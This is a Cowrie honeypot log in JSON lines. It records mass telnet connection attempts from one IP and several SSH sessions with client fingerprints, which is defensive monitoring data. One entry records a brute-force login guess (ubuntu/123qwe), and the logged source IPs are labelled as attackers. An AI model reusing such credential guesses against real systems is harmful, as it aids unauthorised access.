{"eventid":"cowrie.session.closed","duration":31.119778871536255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:53.021658Z","src_ip":"69.6.196.124","session":"39fc918a714d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58380,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdfbf5c74d7d","protocol":"telnet","message":"New connection: 69.6.196.124:58380 (159.203.135.109:23) [session: bdfbf5c74d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:53.322595Z"}
{"eventid":"cowrie.session.closed","duration":30.698989391326904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:53.457965Z","src_ip":"69.6.196.124","session":"8e6098fd221d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58412,"dst_ip":"159.203.135.109","dst_port":23,"session":"c03e0d1a5b23","protocol":"telnet","message":"New connection: 69.6.196.124:58412 (159.203.135.109:23) [session: c03e0d1a5b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:53.695638Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58428,"dst_ip":"159.203.135.109","dst_port":23,"session":"91464a3d7f8d","protocol":"telnet","message":"New connection: 69.6.196.124:58428 (159.203.135.109:23) [session: 91464a3d7f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:53.700760Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58444,"dst_ip":"159.203.135.109","dst_port":23,"session":"db7ee0ffd709","protocol":"telnet","message":"New connection: 69.6.196.124:58444 (159.203.135.109:23) [session: db7ee0ffd709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:53.992381Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58450,"dst_ip":"159.203.135.109","dst_port":23,"session":"da8f471cb8cd","protocol":"telnet","message":"New connection: 69.6.196.124:58450 (159.203.135.109:23) [session: da8f471cb8cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:54.358415Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58452,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd0f0607437f","protocol":"telnet","message":"New connection: 69.6.196.124:58452 (159.203.135.109:23) [session: dd0f0607437f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:54.676784Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58458,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b247c63a57a","protocol":"telnet","message":"New connection: 69.6.196.124:58458 (159.203.135.109:23) [session: 8b247c63a57a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:54.825622Z"}
{"eventid":"cowrie.session.closed","duration":34.295443058013916,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:54.853945Z","src_ip":"69.6.196.124","session":"d6c67e233f72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58470,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee5f385cf21b","protocol":"telnet","message":"New connection: 69.6.196.124:58470 (159.203.135.109:23) [session: ee5f385cf21b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:55.081057Z"}
{"eventid":"cowrie.session.closed","duration":30.489903450012207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:55.472103Z","src_ip":"69.6.196.124","session":"90dc49ed902c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.7137348651886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:56.240762Z","src_ip":"69.6.196.124","session":"183cd8d740ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.535876035690308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:57.234553Z","src_ip":"69.6.196.124","session":"f9f3cd28c749","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58498,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff542ff9f3fc","protocol":"telnet","message":"New connection: 69.6.196.124:58498 (159.203.135.109:23) [session: ff542ff9f3fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:57.795610Z"}
{"eventid":"cowrie.session.closed","duration":31.131918907165527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:58.168562Z","src_ip":"69.6.196.124","session":"9c1a13c55112","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58514,"dst_ip":"159.203.135.109","dst_port":23,"session":"6531745bc51a","protocol":"telnet","message":"New connection: 69.6.196.124:58514 (159.203.135.109:23) [session: 6531745bc51a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:58.586058Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58522,"dst_ip":"159.203.135.109","dst_port":23,"session":"75a50d09bd07","protocol":"telnet","message":"New connection: 69.6.196.124:58522 (159.203.135.109:23) [session: 75a50d09bd07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:59.140075Z"}
{"eventid":"cowrie.session.closed","duration":31.071463346481323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:59.302528Z","src_ip":"69.6.196.124","session":"ed0e10412b2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58490,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9ade09de0de","protocol":"telnet","message":"New connection: 69.6.196.124:58490 (159.203.135.109:23) [session: c9ade09de0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:59.402247Z"}
{"eventid":"cowrie.session.closed","duration":31.10637879371643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:00.919344Z","src_ip":"69.6.196.124","session":"632404e797c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.574656009674072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:01.195973Z","src_ip":"69.6.196.124","session":"0a16792aee61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50834,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4e326618ec6","protocol":"telnet","message":"New connection: 69.6.196.124:50834 (159.203.135.109:23) [session: f4e326618ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:01.801984Z"}
{"eventid":"cowrie.session.closed","duration":31.13448452949524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:02.443933Z","src_ip":"69.6.196.124","session":"b9cfabdb3496","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50838,"dst_ip":"159.203.135.109","dst_port":23,"session":"281b91debcc9","protocol":"telnet","message":"New connection: 69.6.196.124:50838 (159.203.135.109:23) [session: 281b91debcc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:02.456482Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58524,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6ef5f453cb8","protocol":"telnet","message":"New connection: 69.6.196.124:58524 (159.203.135.109:23) [session: f6ef5f453cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:02.508655Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":57648,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5e610bfbe74","protocol":"ssh","message":"New connection: 103.13.206.100:57648 (10.17.0.5:22) [session: d5e610bfbe74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:02.988666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:03.008085Z","src_ip":"103.13.206.100","session":"d5e610bfbe74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50850,"dst_ip":"159.203.135.109","dst_port":23,"session":"227081bcbf29","protocol":"telnet","message":"New connection: 69.6.196.124:50850 (159.203.135.109:23) [session: 227081bcbf29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:03.100186Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:03.252800Z","src_ip":"103.13.206.100","session":"d5e610bfbe74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50862,"dst_ip":"159.203.135.109","dst_port":23,"session":"407cbcf9e32f","protocol":"telnet","message":"New connection: 69.6.196.124:50862 (159.203.135.109:23) [session: 407cbcf9e32f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:03.450875Z"}
{"eventid":"cowrie.session.closed","duration":30.75660753250122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:03.716725Z","src_ip":"69.6.196.124","session":"9c95fce90b2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50870,"dst_ip":"159.203.135.109","dst_port":23,"session":"cac326b076e4","protocol":"telnet","message":"New connection: 69.6.196.124:50870 (159.203.135.109:23) [session: cac326b076e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:03.780808Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58474,"dst_ip":"159.203.135.109","dst_port":23,"session":"edcb0e157e05","protocol":"telnet","message":"New connection: 69.6.196.124:58474 (159.203.135.109:23) [session: edcb0e157e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:04.012819Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe","message":"login attempt [ubuntu/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:04.245131Z","src_ip":"103.13.206.100","session":"d5e610bfbe74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.899590253829956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:04.299525Z","src_ip":"69.6.196.124","session":"3491d947cf01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50872,"dst_ip":"159.203.135.109","dst_port":23,"session":"6440aa6dc228","protocol":"telnet","message":"New connection: 69.6.196.124:50872 (159.203.135.109:23) [session: 6440aa6dc228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:04.305150Z"}
{"eventid":"cowrie.session.closed","duration":31.12063431739807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:04.316247Z","src_ip":"69.6.196.124","session":"a5659721c9a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50876,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce7959d094e4","protocol":"telnet","message":"New connection: 69.6.196.124:50876 (159.203.135.109:23) [session: ce7959d094e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:04.732614Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:05.486899Z","src_ip":"103.13.206.100","session":"d5e610bfbe74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50878,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6f52c85292a","protocol":"telnet","message":"New connection: 69.6.196.124:50878 (159.203.135.109:23) [session: b6f52c85292a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:05.513566Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50882,"dst_ip":"159.203.135.109","dst_port":23,"session":"409ab2a5edb4","protocol":"telnet","message":"New connection: 69.6.196.124:50882 (159.203.135.109:23) [session: 409ab2a5edb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:05.581269Z"}
{"eventid":"cowrie.session.closed","duration":30.577254056930542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:06.268756Z","src_ip":"69.6.196.124","session":"7466340561c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.067924976348877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:06.411017Z","src_ip":"69.6.196.124","session":"406f64bb9a4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50896,"dst_ip":"159.203.135.109","dst_port":23,"session":"07fba4e1fb64","protocol":"telnet","message":"New connection: 69.6.196.124:50896 (159.203.135.109:23) [session: 07fba4e1fb64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:07.017369Z"}
{"eventid":"cowrie.session.closed","duration":30.628056526184082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:07.363120Z","src_ip":"69.6.196.124","session":"dc0356635980","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50902,"dst_ip":"159.203.135.109","dst_port":23,"session":"db0b7a6bba0a","protocol":"telnet","message":"New connection: 69.6.196.124:50902 (159.203.135.109:23) [session: db0b7a6bba0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:07.958515Z"}
{"eventid":"cowrie.session.closed","duration":30.487807035446167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:08.296370Z","src_ip":"69.6.196.124","session":"7668cadfedca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50918,"dst_ip":"159.203.135.109","dst_port":23,"session":"595646d5dfe1","protocol":"telnet","message":"New connection: 69.6.196.124:50918 (159.203.135.109:23) [session: 595646d5dfe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:09.203353Z"}
{"eventid":"cowrie.session.closed","duration":31.042292594909668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:09.269112Z","src_ip":"69.6.196.124","session":"b3ec80e046a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.986690282821655,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:09.337724Z","src_ip":"69.6.196.124","session":"657ffc614d84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.894174337387085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:09.571341Z","src_ip":"69.6.196.124","session":"84e4034ea1dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50920,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf2ede446e77","protocol":"telnet","message":"New connection: 69.6.196.124:50920 (159.203.135.109:23) [session: bf2ede446e77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:09.601039Z"}
{"eventid":"cowrie.session.closed","duration":31.501346826553345,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:09.999608Z","src_ip":"69.6.196.124","session":"6812636a93ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39720,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa53412201f6","protocol":"telnet","message":"New connection: 69.6.196.124:39720 (159.203.135.109:23) [session: aa53412201f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:10.097818Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39732,"dst_ip":"159.203.135.109","dst_port":23,"session":"1448b2841027","protocol":"telnet","message":"New connection: 69.6.196.124:39732 (159.203.135.109:23) [session: 1448b2841027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:10.531592Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39742,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0e6e8d4d9d2","protocol":"telnet","message":"New connection: 69.6.196.124:39742 (159.203.135.109:23) [session: a0e6e8d4d9d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:10.836540Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:11.481239Z","src_ip":"14.103.37.34","session":"fabe3fb623cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.85986065864563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:11.961130Z","src_ip":"69.6.196.124","session":"bf556c24fa33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.682482719421387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:12.298888Z","src_ip":"69.6.196.124","session":"05395697240a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39766,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd32f5d2d96a","protocol":"telnet","message":"New connection: 69.6.196.124:39766 (159.203.135.109:23) [session: dd32f5d2d96a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:12.449393Z"}
{"eventid":"cowrie.session.closed","duration":31.32044529914856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:12.766500Z","src_ip":"69.6.196.124","session":"02eecef37ed7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39744,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ebb14b0afe0","protocol":"telnet","message":"New connection: 69.6.196.124:39744 (159.203.135.109:23) [session: 5ebb14b0afe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:12.976469Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39750,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd8e385a6641","protocol":"telnet","message":"New connection: 69.6.196.124:39750 (159.203.135.109:23) [session: fd8e385a6641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:13.162311Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39776,"dst_ip":"159.203.135.109","dst_port":23,"session":"eecaac3039ad","protocol":"telnet","message":"New connection: 69.6.196.124:39776 (159.203.135.109:23) [session: eecaac3039ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:13.938505Z"}
{"eventid":"cowrie.session.closed","duration":30.596988677978516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:14.268967Z","src_ip":"69.6.196.124","session":"d0bf923840c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39784,"dst_ip":"159.203.135.109","dst_port":23,"session":"88fdb1aab2ce","protocol":"telnet","message":"New connection: 69.6.196.124:39784 (159.203.135.109:23) [session: 88fdb1aab2ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:14.370822Z"}
{"eventid":"cowrie.session.closed","duration":30.49134397506714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:14.410989Z","src_ip":"69.6.196.124","session":"1973126fc850","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.632067680358887,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:14.484995Z","src_ip":"69.6.196.124","session":"375c2008aac3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39798,"dst_ip":"159.203.135.109","dst_port":23,"session":"e47422aef912","protocol":"telnet","message":"New connection: 69.6.196.124:39798 (159.203.135.109:23) [session: e47422aef912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:14.584829Z"}
{"eventid":"cowrie.session.closed","duration":31.128263235092163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:14.777924Z","src_ip":"69.6.196.124","session":"fa5927ed9f7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.480180501937866,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:14.901157Z","src_ip":"69.6.196.124","session":"34a161a38b6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":47716,"dst_ip":"10.17.0.5","dst_port":22,"session":"4149af01d1ba","protocol":"ssh","message":"New connection: 103.129.221.202:47716 (10.17.0.5:22) [session: 4149af01d1ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:14.962465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:14.967443Z","src_ip":"103.129.221.202","session":"4149af01d1ba","protocol":"ssh"}
